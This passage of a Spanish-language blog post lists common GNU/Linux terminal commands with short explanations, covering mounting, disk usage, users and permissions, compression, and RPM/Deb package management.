<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount /dev/fd0 /mnt/floppy: montar un disco flexible (floppy).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount /dev/cdrom /mnt/cdrom: montar un cdrom / dvdrom.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount /dev/hdc /mnt/cdrecorder: montar un cd regrabable o un dvdrom.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount /dev/hdb /mnt/cdrecorder: montar un cd regrabable / dvdrom (un dvd).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount -o loop file.iso /mnt/cdrom: montar un fichero o una imagen iso.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount -t vfat /dev/hda5 /mnt/hda5: montar un sistema de ficheros FAT32.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount /dev/sda1 /mnt/usbdisk: montar un usb pen-drive o una memoria (sin especificar el tipo de sistema de ficheros).</span></li>
</ul>
<div style="border: 0px none; color: #333333; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<b><span style="font-size: small;"><span style="color: red;">
<span style="font-family: Times,Times New Roman,serif;">Espacio de </span><span style="font-family: Times,Times New Roman,serif;">Disco</span></span></span></b></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">df -h: mostrar una lista de las particiones montadas.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ls -lSr |more: mostrar el tamaño de los ficheros y directorios ordenados por tamaño.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">du -sh dir1: Estimar el espacio usado por el directorio ‘dir1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">du -sk * | sort -rn: mostrar el tamaño de los ficheros y directorios ordenados por tamaño.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm
-q -a –qf ‘%10{SIZE}t%{NAME}n’ | sort -k1,1n: mostrar el espacio usado
por los paquetes rpm instalados organizados por tamaño (Fedora, Redhat y
otros).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg-query
-W -f=’${Installed-Size;10}t${<wbr></wbr>Package}n’ | sort -k1,1n: mostrar el
espacio usado por los paquetes instalados, organizados por tamaño
(Ubuntu, Debian y otros).</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><span style="font-size: small;"><b><span style="font-family: Times,Times New Roman,serif;">Usuarios y Grupos</span></b></span></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">groupadd nombre_del_grupo: crear un nuevo grupo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">groupdel nombre_del_grupo: borrar un grupo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">groupmod -n nuevo_nombre_del_grupo viejo_nombre_del_grupo: renombrar un grupo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">useradd -c “Name Surname ” -g admin -d /home/user1 -s /bin/bash user1: Crear un nuevo usuario perteneciente al grupo “admin”.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">useradd user1: crear un nuevo usuario.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">userdel -r user1: borrar un usuario (‘-r’ elimina el directorio Home).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1: cambiar los atributos del usuario.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">passwd: cambiar contraseña.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">passwd user1: cambiar la contraseña de un usuario (solamente por root).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">chage
-E 2011-12-31 user1: colocar un plazo para la contraseña del usuario.
En este caso dice que la clave expira el 31 de diciembre de 2011.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">pwck: chequear la sintaxis correcta el formato de fichero de ‘/etc/passwd’ y la existencia de usuarios.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">grpck: chequear la sintaxis correcta y el formato del fichero ‘/etc/group’ y la existencia de grupos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">newgrp group_name: registra a un nuevo grupo para cambiar el grupo predeterminado de los ficheros creados recientemente.</span></li>
</ul>
<div style="border: 0px none; color: #333333; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<b><span style="color: red;"><span style="font-size: small;">
</span></span><span style="font-family: Times,Times New Roman,serif;"><span style="color: red;"><span style="font-size: small;">Permisos en Ficheros (Usa ”+” para </span>colocar </span>permisos y ”-” para eliminar)</span></b></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ls -lh: Mostrar permisos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ls /tmp | pr -T5 -W$COLUMNS: dividir la terminal en 5 columnas.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod
ugo+rwx directory1: colocar permisos de lectura ®, escritura (w) y
ejecución(x) al propietario (u), al grupo (g) y a otros (o) sobre el
directorio ‘directory1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod
go-rwx directory1: quitar permiso de lectura ®, escritura (w) y (x)
ejecución al grupo (g) y otros (o) sobre el directorio ‘directory1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chown user1 file1: cambiar el dueño de un fichero.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chown -R user1 directory1: cambiar el propietario de un directorio y de todos los ficheros y directorios contenidos dentro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chgrp group1 file1: cambiar grupo de ficheros.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chown user1:group1 file1: cambiar usuario y el grupo propietario de un fichero.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">find / -perm -u+s: visualizar todos los ficheros del sistema con SUID configurado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod
u+s /bin/file1: colocar el bit SUID en un fichero binario. El usuario
que corriendo ese fichero adquiere los mismos privilegios como dueño.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod u-s /bin/file1: deshabilitar el bit SUID en un fichero binario.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod g+s /home/public: colocar un bit SGID en un directorio –similar al SUID pero por directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod g-s /home/public: desabilitar un bit SGID en un directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod o+t /home/public: colocar un bit STIKY en un directorio. Permite el borrado de ficheros solamente a los dueños legítimos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chmod o-t /home/public: desabilitar un bit STIKY en un directorio.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="font-size: small;"><span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Atributos especiales en ficheros (Usa ”+” para colocar permisos y ”-” para eliminar)</span></b></span></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chattr +a file1: permite escribir abriendo un fichero solamente modo append.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chattr +c file1: permite que un fichero sea comprimido / descomprimido automaticamente.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chattr +d file1: asegura que el programa ignore borrar los ficheros durante la copia de seguridad.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chattr +i file1: convierte el fichero en invariable, por lo que no puede ser eliminado, alterado, renombrado, ni enlazado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chattr +s file1: permite que un fichero sea borrado de forma segura.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chattr +S file1: asegura que un fichero sea modificado, los cambios son escritos en modo synchronous como con sync.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chattr +u file1: te permite recuperar el contenido de un fichero aún si este está cancelado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">lsattr: mostrar atributos especiales.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="font-size: small;"><span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Archivos y Ficheros comprimidos</span></b></span></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">bunzip2 file1.bz2: descomprime in fichero llamado ‘file1.bz2′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">bzip2 file1: comprime un fichero llamado ‘file1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">gunzip file1.gz: descomprime un fichero llamado ‘file1.gz’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">gzip file1: comprime un fichero llamado ‘file1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">gzip -9 file1: comprime con compresión máxima.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rar a file1.rar test_file: crear un fichero rar llamado ‘file1.rar’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rar a file1.rar file1 file2 dir1: comprimir ‘file1′, ‘file2′ y ‘dir1′ simultáneamente.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rar x file1.rar: descomprimir archivo rar.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">unrar x file1.rar: descomprimir archivo rar.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -cvf archive.tar file1: crear un tarball descomprimido.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -cvf archive.tar file1 file2 dir1: crear un archivo conteniendo ‘file1′, ‘file2′ y’dir1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -tf archive.tar: mostrar los contenidos de un archivo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -xvf archive.tar: extraer un tarball.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -xvf archive.tar -C /tmp: extraer un tarball en / tmp.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -cvfj archive.tar.bz2 dir1: crear un tarball comprimido dentro de bzip2.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -xvfj archive.tar.bz2: descomprimir un archivo tar comprimido en bzip2</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -cvfz archive.tar.gz dir1: crear un tarball comprimido en gzip.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tar -xvfz archive.tar.gz: descomprimir un archive tar comprimido en gzip.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">zip file1.zip file1: crear un archivo comprimido en zip.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">zip -r file1.zip file1 file2 dir1: comprimir, en zip, varios archivos y directorios de forma simultánea.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">unzip file1.zip: descomprimir un archivo zip.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Paquetes RPM (Red Hat, Fedora y similares)</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -ivh package.rpm: instalar un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -ivh –nodeeps package.rpm: instalar un paquete rpm ignorando las peticiones de dependencias.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -U package.rpm: actualizar un paquete rpm sin cambiar la configuración de los ficheros.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -F package.rpm: actualizar un paquete rpm solamente si este está instalado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -e package_name.rpm: eliminar un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qa: mostrar todos los paquetes rpm instalados en el sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qa | grep httpd: mostrar todos los paquetes rpm con el nombre “httpd”.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qi package_name: obtener información en un paquete específico instalado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qg “System Environment/Daemons”: mostar los paquetes rpm de un grupo software.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -ql package_name: mostrar lista de ficheros dados por un paquete rpm instalado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qc package_name: mostrar lista de configuración de ficheros dados por un paquete rpm instalado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -q package_name –whatrequires: mostrar lista de dependencias solicitada para un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -q package_name –whatprovides: mostar la capacidad dada por un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -q package_name –scripts: mostrar los scripts comenzados durante la instalación /eliminación.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -q package_name –changelog: mostar el historial de revisions de un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qf /etc/httpd/conf/httpd.conf: verificar cuál paquete rpm pertenece a un fichero dado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qp package.rpm -l: mostrar lista de ficheros dados por un paquete rpm que aún no ha sido instalado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm –import /media/cdrom/RPM-GPG-KEY: importar la firma digital de la llave pública.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm –checksig package.rpm: verificar la integridad de un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -qa gpg-pubkey: verificar la integridad de todos los paquetes rpm instalados.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm
-V package_name: chequear el tamaño del fichero, licencias, tipos,
dueño, grupo, chequeo de resumen de MD5 y última modificación.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -Va: chequear todos los paquetes rpm instalados en el sistema. Usar con cuidado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -Vp package.rpm: verificar un paquete rpm no instalado todavía.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm2cpio package.rpm | cpio –extract –make-directories *bin*: extraer fichero ejecutable desde un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpm -ivh /usr/src/redhat/RPMS/<code>arch</code>/<wbr></wbr>package.rpm: instalar un paquete construido desde una fuente rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rpmbuild –rebuild package_name.src.rpm: construir un paquete rpm desde una fuente rpm.</span></li>
</ul>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-23011055619366502852013-01-15T15:53:00.001+01:002013-01-15T15:53:08.564+01:00Dominando el Terminal..Comandos para GNU/Linux .Part. II<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="font-size: small;"><i><span style="color: yellow;">
</span></i></span><span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;"><span style="font-size: small;"><i><span style="color: yellow;">Continuando con el listado de Comandos..... </span></i></span></span></b></span></div>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Actualizador de paquetes YUM (Red Hat, Fedora y similares)</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum install package_name: descargar e instalar un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum
localinstall package_name.rpm: este instalará un RPM y tratará de
resolver todas las dependencies para ti, usando tus repositorios.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum update package_name.rpm: actualizar todos los paquetes rpm instalados en el sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum update package_name: modernizar / actualizar un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum remove package_name: eliminar un paquete rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum list: listar todos los paquetes instalados en el sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum search package_name: Encontrar un paquete en repositorio rpm.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum clean packages: limpiar un caché rpm borrando los paquetes descargados.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum clean headers: eliminar todos los ficheros de encabezamiento que el sistema usa para resolver la dependencia.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">yum clean all: eliminar desde los paquetes caché y ficheros de encabezado.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Paquetes Deb (Debian, Ubuntu y derivados)</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg -i package.deb: instalar / actualizar un paquete deb.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg -r package_name: eliminar un paquete deb del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg -l: mostrar todos los paquetes deb instalados en el sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg -l | grep httpd: mostrar todos los paquetes deb con el nombre “httpd”</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg -s package_name: obtener información en un paquete específico instalado en el sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg -L package_name: mostar lista de ficheros dados por un paquete instalado en el sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg –contents package.deb: mostrar lista de ficheros dados por un paquete no instalado todavía.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dpkg -S /bin/ping: verificar cuál paquete pertenece a un fichero dado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">Actualizador de paquetes APT (Debian, Ubuntu y derivados)</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-get install package_name: instalar / actualizar un paquete deb.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-cdrom install package_name: instalar / actualizar un paquete deb desde un cdrom.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-get update: actualizar la lista de paquetes.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-get upgrade: actualizar todos los paquetes instalados.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-get remove package_name: eliminar un paquete deb del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-get check: verificar la correcta resolución de las dependencias.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-get clean: limpiar cache desde los paquetes descargados.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">apt-cache search searched-package: retorna lista de paquetes que corresponde a la serie «paquetes buscados».</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Ver el contenido de un fichero</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">cat file1: ver los contenidos de un fichero comenzando desde la primera hilera.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tac file1: ver los contenidos de un fichero comenzando desde la última línea.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">more file1: ver el contenido a lo largo de un fichero.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">less file1: parecido al commando ‘more’ pero permite salvar el movimiento en el fichero así como el movimiento hacia atrás.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">head -2 file1: ver las dos primeras líneas de un fichero.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tail -2 file1: ver las dos últimas líneas de un fichero.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tail -f /var/log/messages: ver en tiempo real qué ha sido añadido al fichero.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Manipulación de texto</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cat
file1 file2 .. | command <> file1_in.txt_or_file1_out.txt:
sintaxis general para la manipulación de texto utilizando PIPE, STDIN y
STDOUT.</span></li>
